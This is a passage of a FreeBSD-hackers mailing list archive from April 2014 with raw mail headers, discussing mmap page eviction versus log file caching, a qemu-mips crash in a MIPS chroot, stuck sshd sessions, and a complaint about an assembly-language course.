<201403271141.41487.jhb@freebsd.org> <0AF273E6-CD43-417C-A00C-5B7445090D5B@gmail.com> <201404031102.38598.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, =?utf-8?Q?Trond_Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 17:52:16 -0000 On 03 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 19:02, John Baldwin = wrote: >>=20 >> Right now I am facing the following problem (stable/10): >> There is a (home-grown) webserver which mmap's a large amount of data = files (total size is a bit below of RAM, say ~90GB of files with 128GB = of RAM). >> Server writes access.log (several gigabytes per day). >>=20 >> Some of mmaped data files are used frequently, some are used rarely. = On startup, server walks through all of these data files so it's content = is read=20 > from disk. >>=20 >> After some time of running, I see that rarely used data files are = purged from RAM (access to them leads to long-running disk reads) in = favour of disk=20 > cache >> (at 0:00, when I rotate and gzip log file I see Inactive memory goes = down to the value of log file size). >>=20 >> Is there any way to tell VM system not to push mmap'ed regions out of = RAM in favour of disk caches? >=20 > Use POSIX_FADV_NOREUSE with fadvise() for the log files. They are a = perfect > use case for this flag. This will tell the VM system to throw the log = data > (move it to cache) after it writes the file. Another question is why madvise(MADV_WILLNEED) is not enough to prefer = keeping mmap'ed data in memory instead of dedicating all memory to cache = log files? Even if that mmap'ed memory is rarely used. While POSIX_FADV_NOREUSE might be a solution for some cases (I am = already testing it), it needs to be implemented in many programs (all = that read/write files on disk), while madvise(MADV_WILLNEED) sounds like a proper solution to increase = priority for mmaped region regardless of what other programs use disk = but it does not seem to work as expected.= From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 18:11:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61DEDC38 for ; Fri, 4 Apr 2014 18:11:15 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2C92BE3A for ; Fri, 4 Apr 2014 18:11:14 +0000 (UTC) Received: from [10.73.160.242] (nat-dip7.cfw-a-gci.corp.yahoo.com [209.131.62.116]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id DE0BA1929C8 for ; Fri, 4 Apr 2014 18:11:06 +0000 (UTC) Subject: Re: qemu-mips illegal instruction From: Sean Bruno To: "freebsd-hackers@freebsd.org" In-Reply-To: <1396029630.1466.21.camel@powernoodle.corp.yahoo.com> References: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> <1396029630.1466.21.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-TKwQPkcCrvMPR6OYpqV3" Date: Fri, 04 Apr 2014 11:11:06 -0700 Message-ID: <1396635066.1475.25.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 18:11:15 -0000 --=-TKwQPkcCrvMPR6OYpqV3 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Fri, 2014-03-28 at 11:00 -0700, Sean Bruno wrote: > > This problem seems to be caused by a endian issue in qemu-mips. Ed > > Maste found the culprit and I've applied it here: > >=20 > > https://github.com/seanbruno/qemu/commit/05ee8495804599b52a88eb36b13ea9= c06b3207cd > >=20 > > Which is my combined tracking branch for qemu and sson's bsd-user > > branch. > >=20 > > I'm currently tracking an "illegal instruction" on exit issue that seem= s > > to happen on application exit causing a crash. > >=20 > > sean >=20 >=20 > I've been tracking qemu upstream with sson's patches and massaging > things here and there with the bsd-user mode qemu. >=20 > https://github.com/seanbruno/qemu/tree/bsd-user >=20 > That in combination with sson's kernelmod/userland tool allows me to > "chroot" into a mips environment suitable for building packages. > http://people.freebsd.org/~sson/imgact_binmisc/imgact_binmisc.diff >=20 > Currently, if I explicitly pass a shell into the chroot command, I have > no issues and all is well. e.g. chroot /mipsbuild /bin/sh >=20 > If I do not explicitly pass a shell, I get an illegal instruction core > dump from qemu-mips on exit from any command I run in the chroot: >=20 > chroot /mipsbuild > uname -a > > (Illegal Instruction)[coredump] >=20 > This breaks poudriere right now. >=20 >=20 > More or less this is my recipe: > - built a mips32 world for "chroot" purposes: > - use sson's binmisc ELF interceptor thing: > - run binmiscctl: > binmiscctl add mips32 --interpreter "/bin/qemu-mips" --magic "\x7f\x45 > \x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00 > \x08" --mask "\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff > \xff\xff\xff\xfe\xff\xff" --size 20 --set-enabled >=20 >=20 > - chroot /mipsbuild > - uname -a (Illegal Instruction and coredump ON EXIT) >=20 > - chroot /mipsbuild /bin/sh > - uname -a (works everytime) >=20 >=20 > sean I've narrowed this down with some help from #bsdmips: env SHELL=3D/bin/sh chroot /mipsbuild --> no issues running commands env SHELL=3D/bin/csh chroot /mipsbuild env SHELL=3D/bin/tcsh chroot /mipsbuild --> both of these cause illegal instructions in qemu-mips Juregen came up with a patch that makes the amd64 version of qemu-mips work, so there's no need to xbuild the i386 version now, so thanks for that! sean ref https://github.com/seanbruno/qemu/tree/bsd-user --=-TKwQPkcCrvMPR6OYpqV3 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTPvW5AAoJEBkJRdwI6BaHqewIAI2sfsCFvNKBnVo4mCM/y58E /wxrzbjf5lJYSuuwl02garPurXT4SJf9uXEGnTX4ViTZ0sqfPprNYJ4g0KrywHKa wm9B2G0ER7x8dCFVlc6/lcCCtNYYJC6BQf09FVQwkejRLCr16GuFyO8aId9l2aFP QcJLBcAfl7hvKSm9DkNsrpSGSxN9v/TVF0hHrvyl1AelUwvnw2xqkmt7zALH9YIF FbEiDkyrwgueXdhjb0wHqXgQGyljyJFmF2mjgO9SrunnF3/ZGhLHgpufiXNOacCU shKYVGZSzI34E++quOnYlE5kWy4y+NGE++Ah8YiAqX37MXbnj/kxDpKvlYGSR6g= =iPki -----END PGP SIGNATURE----- --=-TKwQPkcCrvMPR6OYpqV3-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 20:24:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE590F4 for ; Fri, 4 Apr 2014 20:24:25 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A4475D50 for ; Fri, 4 Apr 2014 20:24:25 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 33CB5B924; Fri, 4 Apr 2014 16:24:24 -0400 (EDT) From: John Baldwin To: Dmitry Sivachenko Subject: Re: madvise() vs posix_fadvise() Date: Fri, 4 Apr 2014 16:12:35 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <201404031102.38598.jhb@freebsd.org> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201404041612.35889.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Fri, 04 Apr 2014 16:24:24 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, Trond =?utf-8?q?Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 20:24:25 -0000 On Friday, April 04, 2014 1:52:09 pm Dmitry Sivachenko wrote: >=20 > On 03 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 19:02, John Baldwin wrote: >=20 > >>=20 > >> Right now I am facing the following problem (stable/10): > >> There is a (home-grown) webserver which mmap's a large amount of data = files (total size is a bit below of RAM, say ~90GB of files with 128GB of R= AM). > >> Server writes access.log (several gigabytes per day). > >>=20 > >> Some of mmaped data files are used frequently, some are used rarely. O= n startup, server walks through all of these data files so it's content is = read=20 > > from disk. > >>=20 > >> After some time of running, I see that rarely used data files are purg= ed from RAM (access to them leads to long-running disk reads) in favour of = disk=20 > > cache > >> (at 0:00, when I rotate and gzip log file I see Inactive memory goes d= own to the value of log file size). > >>=20 > >> Is there any way to tell VM system not to push mmap'ed regions out of = RAM in favour of disk caches? > >=20 > > Use POSIX_FADV_NOREUSE with fadvise() for the log files. They are a pe= rfect > > use case for this flag. This will tell the VM system to throw the log = data > > (move it to cache) after it writes the file. >=20 >=20 >=20 > Another question is why madvise(MADV_WILLNEED) is not enough to prefer > keeping mmap'ed data in memory instead of dedicating all memory to cache = log files? > Even if that mmap'ed memory is rarely used. MADV_WILLNEED is an instant action, not a policy statement. It means "please pre-fetch this data right now as I'm going to use it in the next few seconds". It does not mean "this data is more frequently used, so try to keep it around for the next few hours". > While POSIX_FADV_NOREUSE might be a solution for some cases (I am already > testing it), it needs to be implemented in many programs (all that read/w= rite > files on disk), while madvise(MADV_WILLNEED) sounds like a proper solution > to increase priority for mmaped region regardless of what other programs = use > disk but it does not seem to work as expected. MADV_WILLNEED is not going to give you what you want. OTOH, if you haven't tried FreeBSD 10 yet, I would suggest trying that. There have been changes to pagedaemon that might make it do a better job of kicking out the pages of the log files automatically. =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 20:24:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 27B07102 for ; Fri, 4 Apr 2014 20:24:26 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id F39E6D52 for ; Fri, 4 Apr 2014 20:24:25 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id B7B34B941; Fri, 4 Apr 2014 16:24:24 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Fri, 4 Apr 2014 16:13:09 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031614.40951.jhb@freebsd.org> <18B08A7E8585B0C4A89A05E6@study64.tdx.co.uk> In-Reply-To: <18B08A7E8585B0C4A89A05E6@study64.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404041613.09808.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Fri, 04 Apr 2014 16:24:24 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 20:24:26 -0000 On Thursday, April 03, 2014 4:54:35 pm Karl Pielorz wrote: > > --On 3 April 2014 16:14:40 -0400 John Baldwin wrote: > > > That's really odd. A single threaded program has no business even trying > > to grab a lock. Is your sshd even linked against libthr via ldd? > > Bearing in mind this system was installed as 10.0-R, 10.0-STABLE checked > out via SVN, and the world built from that... > > Looking at sshd with ldd gives: > > " > # ldd /usr/sbin/sshd > /usr/sbin/sshd: > ... > libthr.so.3 => /lib/libthr.so.3 (0x8038d7000) > " > > So I'm guessing that's a yes? Ugh, ok. Is this easy to reproduce? -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 20:45:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BB8A4B27 for ; Fri, 4 Apr 2014 20:45:02 +0000 (UTC) Received: from col0-omc2-s14.col0.hotmail.com (col0-omc2-s14.col0.hotmail.com [65.55.34.88]) by mx1.freebsd.org (Postfix) with ESMTP id 9C7B9F33 for ; Fri, 4 Apr 2014 20:45:02 +0000 (UTC) Received: from COL127-W31 ([65.55.34.72]) by col0-omc2-s14.col0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Fri, 4 Apr 2014 13:44:56 -0700 X-TMN: [4vcMyfGdgheBnqhXSV2EOou9WFg91MvJ] X-Originating-Email: [jorgeassembler1@outlook.com] Message-ID: From: Jorge Luis Carvalho Santos To: "freebsd-hackers@freebsd.org" Subject: Complete online course in assembly language of Randall Hyde's is really course in assembly language? Date: Fri, 4 Apr 2014 23:44:56 +0300 Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 04 Apr 2014 20:44:56.0602 (UTC) FILETIME=[BD026FA0:01CF5046] Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 20:45:02 -0000 Complete online course in assembly language of Randall Hyde's is really cou= rse in assembly language?=20 Is written in FreeBSD Developers' Handbook: "This chapter does not explain the basics of assembly language.There are en= ough resources about that (for a complete online course in assembly languag= e=2C see Randall Hyde's Art of Assembly Language=3B" http://www.freebsd.or= g/doc/en_US.ISO8859-1/books/developers-handbook/x86.html The biggest gripe I have with this book is that it teaches =93High Level As= sembly=94=2C essentially an entirely different language from assembly=2C bu= ilt using assembly macros. It=92s great maybe if you have no programming ex= perience what so ever=85although even then I don=92t know why you would lea= rn HLA instead of a real language. Learning HLA instead of assembly is frustrating for learn the true Assembly= .=20 = From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 21:02:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 886132DC; Fri, 4 Apr 2014 21:02:14 +0000 (UTC) Received: from mail-lb0-x229.google.com (mail-lb0-x229.google.com [IPv6:2a00:1450:4010:c04::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D608A13D; Fri, 4 Apr 2014 21:02:13 +0000 (UTC) Received: by mail-lb0-f169.google.com with SMTP id q8so2942440lbi.0 for ; Fri, 04 Apr 2014 14:02:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=Yv5a34cM3GBmF2frrUEbEmZd0GmzEdhCsLgviVVElkU=; b=ATZqYtBvPD9N3wxin/nsHNFYnTIuTgCO4W0D3rvgWTuZiPnZCWZrMi6RedOPOYokg4 hBRB7E3TJkPM4bVQoPB2EL9v30DD+2mcfPP5o2HNCrwXmKsNuvT40YUt2pAju+Ru6H4k Ke8voH0h0HcRyPoNdY0New8JGx358HE2aq6TpZy6OvcDgRL1xqIeXd1ZwArsDdxslxsS mAWel5ILwgs8VPA+pKocQH8tUjlsnpefYbugBQuH79JviZXOpJF1irtp5RVXXvKBA+4S HHMoXCa1mp2ebKdOCWAvVQ2adejz+S6cW/nzp+rTvMHxQ6SvxJb92clzzHTb5hdfvopM GtyQ== X-Received: by 10.112.171.1 with SMTP id aq1mr111593lbc.67.1396645331895; Fri, 04 Apr 2014 14:02:11 -0700 (PDT) Received: from [10.0.1.9] (ip-95-220-108-153.bb.netbynet.ru. [95.220.108.153]) by mx.google.com with ESMTPSA id mk5sm8860930lac.6.2014.04.04.14.02.10 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 04 Apr 2014 14:02:11 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <201404041612.35889.jhb@freebsd.org> Date: Sat, 5 Apr 2014 01:02:08 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: <5426E303-E35B-4D4A-AB62-3571228A5A2C@gmail.com> References: <201404031102.38598.jhb@freebsd.org> <201404041612.35889.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, =?utf-8?Q?Trond_Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 21:02:14 -0000 On 05 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 0:12, John Baldwin = wrote: >=20 > MADV_WILLNEED is not going to give you what you want. OTOH, if you = haven't > tried FreeBSD 10 yet, I would suggest trying that. There have been = changes > to pagedaemon that might make it do a better job of kicking out the = pages > of the log files automatically. >=20 I did. My situation became worse after I moved from stable/9 to = stable/10. My feeling is that stable/10 pushes rarely used mmaped pages out of RAM = more aggressively than stable/9 did. For now, the only solution I found is doing msync(MS_INVALIDATE) on log = files after gzipping and after backup via rsync. This moves corresponding memory pages from Inactive to Free and prevents = system to occupy all free memory with cached log files and to purge = mmaped data out of RAM to accomodate more disk cache. What I would love to see is an ability to tell OS not to release mmaped = data unless "really needed" (disk cache is not an excuse).= From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 22:03:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3551D8D0; Fri, 4 Apr 2014 22:03:32 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id CEA898EB; Fri, 4 Apr 2014 22:03:31 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s34M3M6q086944 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Apr 2014 23:03:23 +0100 (BST) Date: Fri, 04 Apr 2014 23:03:23 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <9E29C6F47AEE714A4DE171C4@study64.tdx.co.uk> In-Reply-To: <201404041613.09808.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031614.40951.jhb@freebsd.org> <18B08A7E8585B0C4A89A05E6@study64.tdx.co.uk> <201404041613.09808.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 22:03:32 -0000 --On 4 April 2014 16:13:09 -0400 John Baldwin wrote: >> So I'm guessing that's a yes? > > Ugh, ok. Is this easy to reproduce? Hmmm. I cloned the box today, and messed around with ssh on it - and didn't manage to get a single stuck session. The box with the problems has been 'sitting around' for quite a while - with no services on it. I may have just stumbled onto something that I didn't notice before. I've traced all the stuck sshd's back to being created by security scanning software we use to check our hosts. I'm going to run the same scan against the new box and see if that creates some stuck sessions. Obviously, they shouldn't "stick" like this [technically no matter how much they're 'abused']- and, unless the other people involved are running the same security scans against their hosts I can't see it's just being that as a cause - but if the scan does create zombies on the 2nd host - that would at least make it reproducible. I double checked - none of our other boxes (scanned with the same software) show the same issue. I'll do some tests and post back what I find... -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 22:38:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9732B30F for ; Fri, 4 Apr 2014 22:38:47 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [69.164.206.65]) by mx1.freebsd.org (Postfix) with ESMTP id 78BCAB56 for ; Fri, 4 Apr 2014 22:38:47 +0000 (UTC) Received: from [192.168.1.224] (unknown [69.43.65.114]) (Authenticated sender: tyler) by tds-solutions.net (Postfix) with ESMTPSA id 9F1A4A060; Fri, 4 Apr 2014 16:45:08 -0600 (MDT) Message-ID: <533F348D.9020503@tysdomain.com> Date: Fri, 04 Apr 2014 18:39:09 -0400 From: "Littlefield, Tyler" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: Jorge Luis Carvalho Santos Subject: Re: Complete online course in assembly language of Randall Hyde's is really course in assembly language? References: In-Reply-To: Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: tyler@tysdomain.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 22:38:47 -0000 On 4/4/2014 4:44 PM, Jorge Luis Carvalho Santos wrote: Complete online course in assembly language of Randall Hyde's is really course in assembly language? Is written in FreeBSD Developers' Handbook: "This chapter does not explain the basics of assembly language.There are enough resources about that (for a complete online course in assembly language, see Randall Hyde's Art of Assembly Language;" http://www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook/x86.html The biggest gripe I have with this book is that it teaches “High Level Assembly”, essentially an entirely different language from assembly, built using assembly macros. It’s great maybe if you have no programming experience what so ever…although even then I don’t know why you would learn HLA instead of a real language. Learning HLA instead of assembly is frustrating for learn the true Assembly. You seem to find topics since I've been here that aren't related to BSD but that you posit in an attempt to get answers. Is your goal really to get answers (re: stallman--why would the devs have a view), or are you just bored and trying to start a thread of flaming. The BSD community doesn't seem like that kind of community--maybe you should go to ubuntu and post your claims there. _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 22:40:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1F60642C; Fri, 4 Apr 2014 22:40:32 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DAB5CBD5; Fri, 4 Apr 2014 22:40:31 +0000 (UTC) Received: from [10.73.160.242] (nat-dip7.cfw-a-gci.corp.yahoo.com [209.131.62.116]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 00B961929C8; Fri, 4 Apr 2014 22:40:29 +0000 (UTC) Subject: Re: qemu-mips illegal instruction From: Sean Bruno To: "freebsd-hackers@freebsd.org" In-Reply-To: <1396635066.1475.25.camel@powernoodle.corp.yahoo.com> References: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> <1396029630.1466.21.camel@powernoodle.corp.yahoo.com> <1396635066.1475.25.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-Di3akOeZV/gld1+wE4Nv" Date: Fri, 04 Apr 2014 15:40:26 -0700 Message-ID: <1396651226.1475.41.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 22:40:32 -0000 --=-Di3akOeZV/gld1+wE4Nv Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Fri, 2014-04-04 at 11:11 -0700, Sean Bruno wrote: > On Fri, 2014-03-28 at 11:00 -0700, Sean Bruno wrote: > > > This problem seems to be caused by a endian issue in qemu-mips. Ed > > > Maste found the culprit and I've applied it here: > > >=20 > > > https://github.com/seanbruno/qemu/commit/05ee8495804599b52a88eb36b13e= a9c06b3207cd > > >=20 > > > Which is my combined tracking branch for qemu and sson's bsd-user > > > branch. > > >=20 > > > I'm currently tracking an "illegal instruction" on exit issue that se= ems > > > to happen on application exit causing a crash. > > >=20 > > > sean > >=20 > >=20 > > I've been tracking qemu upstream with sson's patches and massaging > > things here and there with the bsd-user mode qemu. > >=20 > > https://github.com/seanbruno/qemu/tree/bsd-user > >=20 > > That in combination with sson's kernelmod/userland tool allows me to > > "chroot" into a mips environment suitable for building packages. > > http://people.freebsd.org/~sson/imgact_binmisc/imgact_binmisc.diff > >=20 > > Currently, if I explicitly pass a shell into the chroot command, I have > > no issues and all is well. e.g. chroot /mipsbuild /bin/sh > >=20 > > If I do not explicitly pass a shell, I get an illegal instruction core > > dump from qemu-mips on exit from any command I run in the chroot: > >=20 > > chroot /mipsbuild > > uname -a > > > > (Illegal Instruction)[coredump] > >=20 > > This breaks poudriere right now. > >=20 > >=20 > > More or less this is my recipe: > > - built a mips32 world for "chroot" purposes: > > - use sson's binmisc ELF interceptor thing: > > - run binmiscctl: > > binmiscctl add mips32 --interpreter "/bin/qemu-mips" --magic "\x7f\x45 > > \x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00 > > \x08" --mask "\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff > > \xff\xff\xff\xfe\xff\xff" --size 20 --set-enabled > >=20 > >=20 > > - chroot /mipsbuild > > - uname -a (Illegal Instruction and coredump ON EXIT) > >=20 > > - chroot /mipsbuild /bin/sh > > - uname -a (works everytime) > >=20 > >=20 > > sean >=20 > I've narrowed this down with some help from #bsdmips: >=20 > env SHELL=3D/bin/sh chroot /mipsbuild --> no issues running commands >=20 > env SHELL=3D/bin/csh chroot /mipsbuild > env SHELL=3D/bin/tcsh chroot /mipsbuild --> both of these cause illegal > instructions in qemu-mips >=20 > Juregen came up with a patch that makes the amd64 version of qemu-mips > work, so 